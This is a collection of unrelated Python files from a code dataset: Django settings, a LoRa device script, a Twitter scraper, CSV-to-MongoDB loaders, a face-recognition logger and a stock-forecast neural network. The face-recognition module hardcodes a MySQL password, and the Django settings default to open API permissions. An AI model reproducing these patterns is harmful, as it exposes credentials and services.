Set to empty string for localhost. Not used with sqlite3.\n 'PORT': connection.PORT, # Set to empty string for default. Not used with sqlite3.\n },\n\n}\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.6/topics/i18n/\n\n\nLANGUAGE_CODE = 'en-us'\n\nLANGUAGES = (\n ('en', 'English'), # You need to include your LANGUAGE_CODE language\n ('de', 'German'),\n ('sw','kiswahili')\n)\n\nLOCALE_PATHS = (\n os.path.join(BASE_DIR, \"locale\"),\n)\n\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nEMAIL_HOST_USER = 'team@msurvey.co.ke'\n\nFILE_UPLOAD_TEMP_DIR = (\n os.path.join(BASE_DIR, \"uploads\"),\n )\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.6/howto/static-files/\n\nSTATIC_URL = BASE_URL + 'static/'\n\nSTATICFILES_DIRS = (\n os.path.join(SITE_ROOT, \"media\"),\n #os.path.join(SITE_ROOT, \"static\"),\n)\n\n\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\nFILE_UPLOAD_PATH ='/media'\nMEDIA_ROOT = os.path.join(SITE_ROOT, 'media')\n#STATIC_ROOT = os.path.join(SITE_ROOT, 'assets')\nSTATIC_ROOT = os.path.join(SITE_ROOT, 'static')\nJENKINS_TASKS = (\n 'django_jenkins.tasks.run_pylint',\n 'django_jenkins.tasks.with_coverage'\n)\n# JENKINS_TEST_RUNNER='django_jenkins.nose_runner.CINoseTestSuiteRunner'\n# TEST_RUNNER = 'discover_jenkins.runner.DiscoverCIRunner'\n# PROJECT_APPS = ['apps.website']\n# JENKINS_TEST_RUNNER ='django_jenkins.runner.CITestSuiteRunner'\n\n\nTEST_RUNNER = 'django_nose.NoseTestSuiteRunner'\n# NOSE_ARGS = [\n# # '--with-coverage',\n# '--cover-package=website'\n# ]\n# SOUTH_TESTS_MIGRATE = False\n# SKIP_SOUTH_TESTS = True\n\n\nSWAGGER_SETTINGS = {\n \"exclude_namespaces\": [],\n \"api_version\": '0.1',\n \"api_path\": \"/\",\n \"enabled_methods\": [\n 'get',\n 'post',\n 'put',\n 'patch',\n 'delete'\n ],\n \"api_key\": '',\n \"is_authenticated\": True,\n \"is_superuser\": False,\n \"permission_denied_handler\": \"app.swagger.views.permission_denied_handler\",\n \"info\": {\n 'contact': 'team@msurvey.co.ke',\n 'description': 'This is a the mSurvey API documantation. ',\n 'license': 'Apache 2.0',\n 'licenseUrl': 'http://www.apache.org/licenses/LICENSE-2.0.html',\n 'termsOfServiceUrl': 'http://helloreverb.com/terms/',\n 'title': 'mSurvey Application',\n },\n}\n\n#template directory\nTEMPLATE_DIRS = (\n os.path.join(SITE_ROOT, 'html'),\n )\n\n\nREST_FRAMEWORK = {\n'DEFAULT_PERMISSION_CLASSES': ('rest_framework.permissions.AllowAny',),\n}\n\n# user will be auto logged out after this period of inactivity in minutes\nINACTIVITY = 720\n\n#TASTYPIE_ABSTRACT_APIKEY = True\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\",\n 'datefmt' : \"%d/%b/%Y %H:%M:%S\"\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n 'null': {\n 'level': 'DEBUG',\n 'class': 'logging.NullHandler',\n },\n 'file': {\n 'level': 'DEBUG',\n 'class': 'logging.FileHandler',\n 'filename': '/tmp/applicationLogger.log',\n 'formatter': 'verbose'\n },\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple'\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django': {\n 'handlers': ['null'],\n 'propagate': True,\n 'level': 'INFO',\n },\n 'noe': {\n 'handlers': ['file'],\n 'level': 'DEBUG',\n },\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': False,\n },\n 'myproject.custom': {\n 'handlers': ['console', 'mail_admins'],\n 'level': 'INFO'\n }\n }\n}\n\n\ntry:\n from local_settings import *\nexcept ImportError:\n print (\"did not load any local settings\")\n","sub_path":"project/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":9589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"203473420","text":"import machine\nimport time\nimport pycom\nimport loranode\nfrom machine import Pin\n\npycom.heartbeat(False)\nprint(os.uname())\n\n# initialize GP16 in gpio mode (alt=0) and make it an output\nled = Pin('G16',mode=Pin.OUT)\n\n# initialize GP17 in gpio mode and make it an input with the\n# pull-up enabled\nbutton = Pin('G17', mode=Pin.IN, pull=Pin.PULL_UP)\ncounter = 0\ndef callback(p):\n global counter\n print('pin change. counter', counter)\n led.toggle()\n counter = counter + 1\n\nbutton.callback(trigger= Pin.IRQ_FALLING, handler=callback)\n\ncfg = loranode.nodeconfig()\nprint(loranode.version)\nprint('cfg:node_id: ', cfg.id)\nprint('cfg:LoRa_enabled: ', cfg.lora_enabled)\n\n#while True:\nfor cycles in range(3): # stop after 5 cycles\n # send some data\n print('diod: green ',cycles)\n pycom.rgbled(0x007f00) # green\n time.sleep(2)\n print('diod: red ',cycles)\n pycom.rgbled(0x7f0000) # red\n time.sleep(2)\n print('diod: blue ',cycles)\n pycom.rgbled(0x00007f) # blue\n time.sleep(2)\n","sub_path":"lora_node/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"82152047","text":"from bs4 import BeautifulSoup\nimport requests\nimport pymongo\n\nmyclient = pymongo.MongoClient(\"mongodb://localhost:27017\")\nmydb = myclient['enene']\nmycol = mydb['twitter']\n\npage_link = \"https://twitter.com/realDonaldTrump\"\npage_response = requests.get(page_link)\n\npage_content = BeautifulSoup(page_response.content, \"html.parser\")\nuserHandle = page_content.find('b', {'class': 'u-linkComplex-target'}).text;\nuserHandle = \"@\"+userHandle\n\n\nprint(\"#####INITIATION#####\")\nprint(\"PRINTING FOR: \", (userHandle))\n\n\nallPosts = []\n\n\nfor paragraph in page_content.findAll('p', {'class': 'TweetTextSize TweetTextSize--normal js-tweet-text tweet-text'} ):\n\tallPosts.append({'user': userHandle, 'text': paragraph.text})\n\n\nprint(allPosts)","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"369467957","text":"### Trasform CSV in Dict\n\n## GERMANY\nimport csv\n\nGermany = open(\"germany-latest.csv\", \"r\", encoding=\"utf-8\") #open file\nfieldnames = (\"Category\",\"OSM - id\",\"Latitude\",\"Longitude\",\"Place\")\nreader = csv.DictReader(Germany, fieldnames, delimiter = \"|\")\ngermany_list =[]\nfor line in reader:\n germany_list.append(line)\n\nfor i in range(len(germany_list)):\n germany_list[i] = dict(germany_list[i].items()) \n\nfor i in range(len(germany_list)):\n germany_list[i][\"Category\"] = int(germany_list[i][\"Category\"])\n germany_list[i][\"Latitude\"] = float(germany_list[i][\"Latitude\"])\n germany_list[i][\"Longitude\"] = float(germany_list[i][\"Longitude\"]) #transform value in interger, float...\n\n### Check empty dict\nfor i in range(len(germany_list)):\n if bool(germany_list[i][\"Category\"] and germany_list[i][\"Latitude\"]\n and germany_list[i][\"Longitude\"] and germany_list[i][\"OSM - id\"] and germany_list[i][\"Place\"]) == False:\n print(i)\n\nGermany.close() #close file \n\n\n## ITALY\n\nItaly = open(\"italy-latest.csv\", \"r\", encoding=\"utf-8\") #open file\nfieldnames = (\"Category\",\"OSM - id\",\"Latitude\",\"Longitude\",\"Place\")\nreader = csv.DictReader(Italy, fieldnames, delimiter = \"|\")\nitaly_list =[]\nfor line in reader:\n italy_list.append(line)\n\nfor i in range(len(italy_list)):\n italy_list[i] = dict(italy_list[i].items()) \n\nfor i in range(len(italy_list)):\n italy_list[i][\"Category\"] = int(italy_list[i][\"Category\"])\n italy_list[i][\"Latitude\"] = float(italy_list[i][\"Latitude\"])\n italy_list[i][\"Longitude\"] = float(italy_list[i][\"Longitude\"]) #transform value in interger, float...\n\n### Check empty dict\nfor i in range(len(italy_list)):\n if bool(italy_list[i][\"Category\"] and italy_list[i][\"Latitude\"]\n and italy_list[i][\"Longitude\"] and italy_list[i][\"OSM - id\"] and italy_list[i][\"Place\"]) == False:\n print(i)\n\nItaly.close() #close file \n\n## SPAIN\n\nSpain = open(\"spain-latest.csv\", \"r\", encoding=\"utf-8\") #open file\nfieldnames = (\"Category\",\"OSM - id\",\"Latitude\",\"Longitude\",\"Place\")\nreader = csv.DictReader(Spain, fieldnames, delimiter = \"|\")\nspain_list =[]\nfor line in reader:\n spain_list.append(line)\n\nfor i in range(len(spain_list)):\n spain_list[i] = dict(spain_list[i].items()) \n\nfor i in range(len(spain_list)):\n spain_list[i][\"Category\"] = int(spain_list[i][\"Category\"])\n spain_list[i][\"Latitude\"] = float(spain_list[i][\"Latitude\"])\n spain_list[i][\"Longitude\"] = float(spain_list[i][\"Longitude\"]) #transform value in interger, float...\n\n### Check empty dict\nfor i in range(len(spain_list)):\n if bool(spain_list[i][\"Category\"] and spain_list[i][\"Latitude\"]\n and spain_list[i][\"Longitude\"] and spain_list[i][\"OSM - id\"] and spain_list[i][\"Place\"]) == False:\n print(i)\n\n#verify\nspain_list[897] #doesn't remove\nspain_list[49241]\nspain_list[49242]\n\n#remove\nspain_list.remove(spain_list[49241])\nspain_list.remove(spain_list[49242])\t\t\n\nSpain.close() #close file \n\n\n## FRANCE\n\nFrance = open(\"france-latest.csv\", \"r\", encoding=\"utf-8\") #open file\nfieldnames = (\"Category\",\"OSM - id\",\"Latitude\",\"Longitude\",\"Place\")\nreader = csv.DictReader(France, fieldnames, delimiter = \"|\")\nfrance_list =[]\nfor line in reader:\n france_list.append(line)\n\nfor i in range(len(france_list)):\n france_list[i] = dict(france_list[i].items()) \n\nfor i in range(len(france_list)):\n france_list[i][\"Category\"] = int(france_list[i][\"Category\"])\n france_list[i][\"Latitude\"] = float(france_list[i][\"Latitude\"])\n france_list[i][\"Longitude\"] = float(france_list[i][\"Longitude\"]) #transform value in interger, float...\n\n### Check empty dict\nfor i in range(len(france_list)):\n if bool(france_list[i][\"Category\"] and france_list[i][\"Latitude\"]\n and france_list[i][\"Longitude\"] and france_list[i][\"OSM - id\"] and france_list[i][\"Place\"]) == False:\n print(i)\n\nFrance.close() #close file\n\n## GREAT-BRITAIN\n\nGB = open(\"great-britain-latest.csv\", \"r\", encoding=\"utf-8\") #open file\nfieldnames = (\"Category\",\"OSM - id\",\"Latitude\",\"Longitude\",\"Place\")\nreader = csv.DictReader(GB, fieldnames, delimiter = \"|\")\ngb_list =[]\nfor line in reader:\n gb_list.append(line)\n\nfor i in range(len(gb_list)):\n gb_list[i] = dict(gb_list[i].items()) \n\nfor i in range(len(gb_list)):\n gb_list[i][\"Category\"] = int(gb_list[i][\"Category\"])\n gb_list[i][\"Latitude\"] = float(gb_list[i][\"Latitude\"])\n gb_list[i][\"Longitude\"] = float(gb_list[i][\"Longitude\"]) #transform value in interger, float...\n\n### Check empty dict\nfor i in range(len(gb_list)):\n if bool(gb_list[i][\"Category\"] and gb_list[i][\"Latitude\"]\n and gb_list[i][\"Longitude\"] and gb_list[i][\"OSM - id\"] and gb_list[i][\"Place\"]) == False:\n print(i)\n\nGB.close() #close file\n\n\n## MONGO DB\n\nimport pymongo as mongo\nclient = mongo.MongoClient()\n#crea il database utilizzato già per i tweet db = ...\n\ngermany_monument = db.germany_monument #creazione collezione\ngermany_monument.insert_many(germany_list) #insert document\n\nitaly_monument = db.italy_monument #creazione collezione\nitaly_monument.insert_many(italy_list) #insert document\n\nspain_monument = db.spain_monument #creazione collezione\nspain_monument.insert_many(spain_list) #insert document\n\nfrance_monument = db.france_monument #creazione collezione\nfrance_monument.insert_many(france_list) #insert document\n\ngreat_britain_monument = db.great_britain_monument #creazione collezione\ngreat_britain_monument.insert_many(gb_list) #insert document","sub_path":"CSV_TO_DICT.py","file_name":"CSV_TO_DICT.py","file_ext":"py","file_size_in_byte":5435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"401524004","text":"# coding=utf-8\n\"\"\"Performs face detection in realtime.\n\nBased on code from https://github.com/shanren7/real_time_face_recognition\n\"\"\"\n# MIT License\n#\n# Copyright (c) 2017 François Gervais\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport argparse\nimport sys\nimport time\nimport cv2\nimport os\nimport shutil\nfrom contributed import face\nimport detect_people\nimport mysql.connector\nfrom scipy import misc\nimport glob\nimport copy\nimport facepp\nimport base64\n\nMY_COLOR = (0, 255, 0)\n\ndef mysqlupdate(id, Visit_tim, path):\n conn = mysql.connector.connect(user='stkqj', password='Gmcc_123', database='stkqj')\n cur = conn.cursor()\n sql1 = \"insert tb_ai_vistor_listinfo (id,Visit_tim,Image_path) VALUES (%s, %s, %s)\"\n data = (id, Visit_tim, path,)\n cur.execute(sql1, data)\n conn.commit()\n conn.close()\n\ndef facepp_recog(img_path):\n with open(img_path,\"rb\") as img: \n # b64encode是编码,b64decode是解码 \n image_base64 = base64.b64encode(img.read()) \n #print(image_base64)\n sleep_count=0\n total_count=0\n user_id = \"-2\"\n\n user_id, confidence = facepp.FaceSearch_v1(image_base64, \"BSC_ST\") \n if (user_id ==\"-1\"):\n user_id, confidence = facepp.FaceSearch_v1(image_base64, \"BSC_ST_1\")\n\n #while (user_id == \"-2\"):\n # if sleep_count==5:\n # total_count += 1\n # sleep_count = 0\n # time.sleep(3)\n # user_id, confidence = facepp.FaceSearch_v1(image_base64, \"BSC_ST\") \n # if (user_id ==\"-1\"):\n # user_id, confidence = facepp.FaceSearch_v1(image_base64, \"BSC_ST_1\")\n # print(\"UserID: \",user_id)\n # sleep_count += 1\n # print(\"Loop num: \",str(total_count))\n # if total_count==3:\n # break;\n if user_id==\"-2\" or user_id==\"-1\":\n user_id==\"Unknown\"\n return user_id\n\n \ndef add_overlays(frame, faces, prefix):\n if faces is not None:\n for face in faces:\n face_bb = face.bounding_box.astype(int)\n\n if face.name is not None:\n #抠出人脸\n time1 = time.time()\n now_time = time.strftime('%Y%m%d%H%M%S', time.localtime(time1))\n my_img_path = prefix + 'crop/crop_' + str(now_time) + '.jpg'\n cv2.imwrite('.'+my_img_path,frame[face_bb[1]:face_bb[3], face_bb[0]:face_bb[2]])\n if face.name == \"Unknown\":\n Unknown_img = frame[face_bb[1]:face_bb[3], face_bb[0]:face_bb[2]]\n Unknown_img_path = prefix + 'unknown/Unknown_' + str(now_time) + '.jpg'\n cv2.imwrite('.'+Unknown_img_path, Unknown_img)\n # 这里开始调用face++接口\n #face.name = facepp_recog(Unknown_img_path)\n else:\n recog_img = frame[face_bb[1]:face_bb[3], face_bb[0]:face_bb[2]]\n recog_img_path = prefix + 'known/' + face.name + '_' + str(now_time) + '.jpg'\n cv2.imwrite('.'+recog_img_path, recog_img)\n\n # 往MYSQL中插入记录\n mysqlupdate(str(face.name), str(now_time), my_img_path)\n\n\nclass Detector(object):\n def __init__(self):\n self.face_recognition = face.Recognition()\n\t\t\t\t\t\n def model_detect(self, frame, prefix): \n if frame is not None:\n #人脸识别\n frame = cv2.resize(frame,(1080, 720),interpolation=cv2.INTER_CUBIC)\n faces = self.face_recognition.identify(frame)\n if len(faces) == 0:\n faceName = \"unknown\"\n else:\n faceName = faces[0].name\n if prefix is not None:\n add_overlays(frame, faces, prefix)\t\t\t\n return frame, faceName \t\t\t\t","sub_path":"real_time_face_recognition_v9.py","file_name":"real_time_face_recognition_v9.py","file_ext":"py","file_size_in_byte":4745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"320707011","text":"\nimport numpy as np\nimport csv\nimport time\nimport matplotlib.pyplot as plt\nfrom tkinter import *\n\nvarianzag = [] # precios de cierre de la accion de google\npreciog = [] # precios apertura de la accion de google\npreciom = [] # precios de la accion de google mañana\npreciof = [] # precios de la accion de apple\nprecioa = [] # precios de la accion de facebook\nresults = [] # resultados de algo\npreciofn = [] # precios de la accion de apple\nprecioan = [] # precios de la accion de facebook\n\ndef get_data(filename):\n with open(filename, 'r') as csvfile:\n csvFileReader = csv.reader(csvfile)\n next(csvFileReader) # skipping column names\n line_count = 0\n for row in csvFileReader:\n if line_count > 0:\n varianzag.append(float(row[0]))#varianza\n preciog.append(float(row[1]))#PAGH\n preciom.append(float(row[2])) #PAGM\n preciof.append(float(row[3]))#PAFH\n precioa.append(float(row[4])) #PAAH\n line_count += 1\n return\n\ndef get_data_test(filename):\n with open(filename, 'r') as csvfile:\n csvFileReader = csv.reader(csvfile)\n next(csvFileReader) # skipping column names\n line_count = 0\n for row in csvFileReader:\n if line_count > 0:\n preciofn.append(float(row[3]))#PAFH\n precioan.append(float(row[4])) #PAAH\n line_count += 1\n return\n\n\ndef write_data(filename, R ):\n with open(filename, 'w') as csvfile:\n fieldnames = ['result']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for x in range( len(R)):\n if x>0:\n writer.writerow( { 'result': float(R[x]) } )\n #else:\n # writer.writerow( {'number': x, 'result': np.round(float(R[x]),4) } )\n return\n\nclass Neural_Network(object):\n def __init__(self): \n #Define Hyperparameters\n self.inputLayerSize = 4\n self.outputLayerSize = 1\n self.hiddenLayerSize = 3#8\n \n #Weights (parameters)\n self.W1 = np.random.randn(self.inputLayerSize,self.hiddenLayerSize)\n #print(self.W1)\n #print(\"\")\n self.W2 = np.random.randn(self.hiddenLayerSize,self.outputLayerSize)\n #print(self.W2)\n #print(\"\")\n\n def forward(self, X):\n #Propogate inputs though network nhidden - 1 dots\n self.z2 = np.dot(X, self.W1)\n self.a2 = self.sigmoid(self.z2)\n self.z3 = np.dot(self.a2, self.W2)\n #yHat = self.sigmoid(self.z3-0.5)) # Amplitud\n yHat = np.tanh(self.z3)\n return yHat\n \n def sigmoid(self, z):\n #Apply sigmoid activation function to scalar, vector, or matrix\n return 1/(1+np.exp(-z))\n \n def sigmoidPrime(self,z):\n #Gradient of sigmoid\n return np.exp(-z)/((1+np.exp(-z))**2)\n \n def costFunction(self, X, y):\n #Compute cost for given X,y, use weights already stored in class.\n self.yHat = self.forward(X)\n J = 0.5*sum((y-self.yHat)**2)\n return J\n \n def costFunctionPrime(self, X, y):\n #Compute derivative with respect to W and W2 for a given X and y:\n self.yHat = self.forward(X)\n \n delta3 = np.multiply(-(y-self.yHat), self.sigmoidPrime(self.z3))\n dJdW2 = np.dot(self.a2.T, delta3)\n \n delta2 = np.dot(delta3, self.W2.T)*self.sigmoidPrime(self.z2)\n dJdW1 = np.dot(X.T, delta2) \n \n return dJdW1, dJdW2\n \n #Helper Functions for interacting with other classes:\n def getParams(self):\n #Get W1 and W2 unrolled into vector:\n params = np.concatenate((self.W1.ravel(), self.W2.ravel()))\n return params\n \n def setParams(self, params):\n #Set W1 and W2 using single paramater vector.\n W1_start = 0\n W1_end = self.hiddenLayerSize * self.inputLayerSize\n self.W1 = np.reshape(params[W1_start:W1_end], (self.inputLayerSize , self.hiddenLayerSize))\n W2_end = W1_end + self.hiddenLayerSize*self.outputLayerSize\n self.W2 = np.reshape(params[W1_end:W2_end], (self.hiddenLayerSize, self.outputLayerSize))\n \n def computeGradients(self, X, y):\n dJdW1, dJdW2 = self.costFunctionPrime(X, y)\n return np.concatenate((dJdW1.ravel(), dJdW2.ravel()))\n\ndef computeNumericalGradient(N, X, y):\n paramsInitial = N.getParams()\n numgrad = np.zeros(paramsInitial.shape)\n perturb = np.zeros(paramsInitial.shape)\n e = 1e-4 # Valor de perturbacion\n\n for p in range(len(paramsInitial)):\n #Set perturbation vector\n perturb[p] = e \n N.setParams(paramsInitial + perturb)\n loss2 = N.costFunction(X, y)\n \n N.setParams(paramsInitial - perturb)\n loss1 = N.costFunction(X, y)\n\n #Compute Numerical Gradient\n numgrad[p] = (loss2 - loss1) / (2*e)\n\n #Return the value we changed to zero:\n perturb[p] = 0\n \n #Return Params to original value:\n N.setParams(paramsInitial)\n return numgrad \n \nfrom scipy import optimize\n\n\nclass trainer(object):\n def __init__(self, N):\n #Make Local reference to network:\n self.N = N\n \n def callbackF(self, params):\n self.N.setParams(params)\n self.J.append(self.N.costFunction(self.X, self.y)) \n \n def costFunctionWrapper(self, params, X, y):\n self.N.setParams(params)\n cost = self.N.costFunction(X, y)\n grad = self.N.computeGradients(X,y)\n return cost, grad\n \n def train(self, X, y, tol):\n #Make an internal variable for the callback function:\n self.tol = tol\n self.X = X\n self.y = y\n\n #Make empty list to store costs:\n self.J = []\n \n params0 = self.N.getParams()\n\n options = {'maxiter': 200,'gtol': tol } #'disp' : True para mostrar mensajes de convergencia\n _res = optimize.minimize(self.costFunctionWrapper, params0, jac=True, method='BFGS', \\\n args=(X, y), options=options, callback=self.callbackF)\n self.N.setParams(_res.x)\n self.optimizationResults = _res \n \n \nif __name__ == \"__main__\":\n\n NN = Neural_Network()\n T = trainer(NN)\n get_data('RNA2.csv')\n\n varmax = np.amax( np.abs(varianzag) , axis=0)\n varmin = np.amin( np.abs(varianzag), axis=0)\n varianzag = varianzag/np.amax(np.abs(varianzag),axis=0)\n preciog = preciog/np.amax(preciog, axis=0)\n preciom1 = preciom\n preciom = preciom/np.amax(preciom, axis=0)\n preciof = preciof/np.amax(preciof, axis=0)\n precioa = precioa/np.amax(precioa, axis=0)\n\n\n\n NN = Neural_Network()\n T = trainer(NN)\n #Empieza el contador de tiempo\n start = time.time()\n for y in range(0,len(varianzag)-1,3):\n Y = []\n P = []\n Y = np.array(( [preciom[y],preciog[y], precioa[y], preciof[y]],[preciom[y+1],preciog[y+1], precioa[y+1], preciof[y+1]],[preciom[y+2],preciog[y+2], precioa[y+2], preciof[y+2]] ) ,dtype=float)\n P = np.array(([varianzag[y]],[varianzag[y+1]],[varianzag[y+2]]), dtype=float)\n T.train(Y,P,0.1)#Y,P y porcentaje de tolerancia\n end = time.time()\n\n print(\"\")\n print(\"Entrenamiento Completado\")\n print(\"\")\n\n get_data_test('Entrenamiento.csv') \n\n preciofn = preciofn/np.amax(preciofn, axis=0)\n precioan = precioan/np.amax(precioan, axis=0)\n vara = varianzag[len(varianzag)-1]\n Hoy = preciog[len(preciog)-1]/(np.amax(preciog, axis=0))\n\n Hoye = Hoy\n Actual = preciom1[-1:]\n\n\n for x in range(1,len(precioan)): \n\n #print(\"\")\n Z = np.array( ([vara,Hoye,precioan[x],preciofn[x]]) ,dtype=float)\n z = NN.forward(Z)\n #print(Z, \"vector de entrada\")\n #print(vara,x,\"Entrada\")\n\n variacionmañana=(z)# seccion critica\n \n\n #variacionmañana=(2*(varmax+np.abs(varmin))*(z-0.05))# seccion critica\n\n variacionmañana = z\n\n #print(z, \"Salida de la RNA\")\n #print(variacionmañana,\"Salida\")\n\n Actual =(1+variacionmañana)*Actual\n #print(Actual,\"Precio\")\n results.append(Actual)\n vara = variacionmañana\n Hoye = Hoye*(1+z)\n #print(\"\")\n\n\n\n write_data('pronosticos.csv',results) # muestra los resultados\n print(end - start, \"Tiempo de Entrenamiento en segundos\")\n print(\"\")\n print(np.mean(results, axis=0), \"media de los pronosticos\")\n print(\"\")\n print(np.var(results, axis=0), \"varianza de los pronosticos\")\n print(\"\")\n print(varmax, \"Variacion Max\")\n print(\"\")\n print(varmin, \"Variacion Min\")\n \n x2 = np.arange(len(preciom1))\n x = np.arange(len(preciom1),len(results)+len(preciom1))\n\n plt.plot(x, results, label='pronostico')\n plt.plot(x2, preciom1, label='real')\n plt.xlabel('dias')\n plt.ylabel('precio de la accion')\n plt.legend()\n plt.tight_layout()\n plt.savefig('grafica.png')\n #plt.show()","sub_path":"RNA.py","file_name":"RNA.py","file_ext":"py","file_size_in_byte":9052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"421071574","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2020 CERN.\n# Copyright (C) 2020 Northwestern University.\n#\n# Invenio-Records-Resources is free software; you can redistribute it and/or\n# modify it under the terms of the MIT License; see LICENSE file for more\n# details.\n\n\"\"\"Invenio Resources module to create REST APIs\"\"\"\n\nimport json\nimport os\n\nimport pytest\nfrom flask import url_for\nfrom invenio_accounts.testutils import login_user_via_view\nfrom invenio_pidstore.minters import recid_minter_v2\nfrom invenio_pidstore.models import PersistentIdentifier, PIDStatus, \\\n RecordIdentifier\nfrom invenio_pidstore.providers.recordid import RecordIdProvider\nfrom invenio_pidstore.proxies import current_pidstore\n\nfrom invenio_records_resources.services.errors import PermissionDeniedError\n\nHEADERS = {\"content-type\": \"application/json\", \"accept\": \"application/json\"}\n\n\n@pytest.fixture(scope=\"function\")\ndef app_with_custom_minter(app):\n \"\"\"Application providing a minter creating unregistered pid values.\"\"\"\n\n def custom_minter(record_uuid, data):\n \"\"\"Custom class to mint a new pid in `NEW` state.\"\"\"\n\n class CustomRecordIdProvider(RecordIdProvider):\n default_status = PIDStatus.NEW\n\n @classmethod\n def create(cls, object_type=None, object_uuid=None, **kwargs):\n # Request next integer in recid sequence.\n kwargs['pid_value'] = str(RecordIdentifier.next())\n kwargs.setdefault('status', cls.default_status)\n return super(RecordIdProvider, cls).create(\n object_type=object_type, object_uuid=object_uuid, **kwargs)\n\n provider = CustomRecordIdProvider.create(\n object_type='rec', object_uuid=record_uuid)\n data['recid'] = provider.pid.pid_value\n return provider.pid\n\n current_pidstore.minters['recid_v2'] = custom_minter\n yield app\n\n current_pidstore.minters['recid_v2'] = recid_minter_v2\n\n\n@pytest.mark.skip()\ndef test_create_read_record(client, input_record, es_clear):\n \"\"\"Test record creation.\"\"\"\n # Create new record\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n response_fields = response.json.keys()\n fields_to_check = ['pid', 'metadata', 'revision',\n 'created', 'updated', 'links']\n for field in fields_to_check:\n assert field in response_fields\n\n # Save record pid for posterior operations\n recid = response.json[\"pid\"]\n # Read the record\n response = client.get(\"/records/{}\".format(recid), headers=HEADERS)\n assert response.status_code == 200\n assert response.json[\"pid\"] == recid # Check it matches with the original\n\n response_fields = response.json.keys()\n fields_to_check = ['pid', 'metadata', 'revision',\n 'created', 'updated', 'links']\n for field in fields_to_check:\n assert field in response_fields\n\n\n@pytest.mark.skip()\ndef test_create_search_record(client, input_record, es_clear):\n \"\"\"Test record search.\"\"\"\n # Search records, should return empty\n response = client.get(\"/records\", headers=HEADERS)\n assert response.status_code == 200\n\n # Create dummy record to test search\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n\n # Search content of record, should return the record\n response = client.get(\"/records?q=story\", headers=HEADERS)\n assert response.status_code == 200\n\n # Search for something non-existent, should return empty\n response = client.get(\"/records?q=notfound\", headers=HEADERS)\n assert response.status_code == 200\n\n\n@pytest.mark.skip()\ndef test_create_delete_record(client, input_record, es_clear):\n \"\"\"Test record deletion.\"\"\"\n # Create dummy record to test delete\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n recid = response.json[\"pid\"]\n\n # Update the record\n updated_record = input_record\n updated_record[\"title\"] = \"updated title\"\n response = client.put(\"/records/{}\".format(recid), headers=HEADERS,\n data=json.dumps(updated_record))\n assert response.status_code == 200\n\n # Delete the record\n response = client.delete(\"/records/{}\".format(recid),\n headers=HEADERS)\n assert response.status_code == 204\n\n\n@pytest.mark.skip()\ndef test_create_update_record(client, input_record, es_clear):\n \"\"\"Test record update.\"\"\"\n # Create dummy record to test update\n response = client.post(\n \"/records\", headers=HEADERS, data=json.dumps(input_record)\n )\n assert response.status_code == 201\n recid = response.json[\"pid\"]\n\n # Update the record\n new_title = \"updated title\"\n input_record[\"title\"] = new_title\n response = client.put(\"/records/{}\".format(recid), headers=HEADERS,\n data=json.dumps(input_record))\n assert response.status_code == 200\n\n # Read the record\n response = client.get(\"/records/{}\".format(recid), headers=HEADERS)\n assert response.status_code == 200\n assert response.json[\"metadata\"][\"title\"] == new_title\n\n\n# # FIXME: Currently throws exception. Error handling needed\n# def test_create_invalid_record(client, input_record):\n# \"\"\"Test invalid record creation.\"\"\"\n# input_record.pop(\"title\") # Remove a required field of the record\n\n# response = 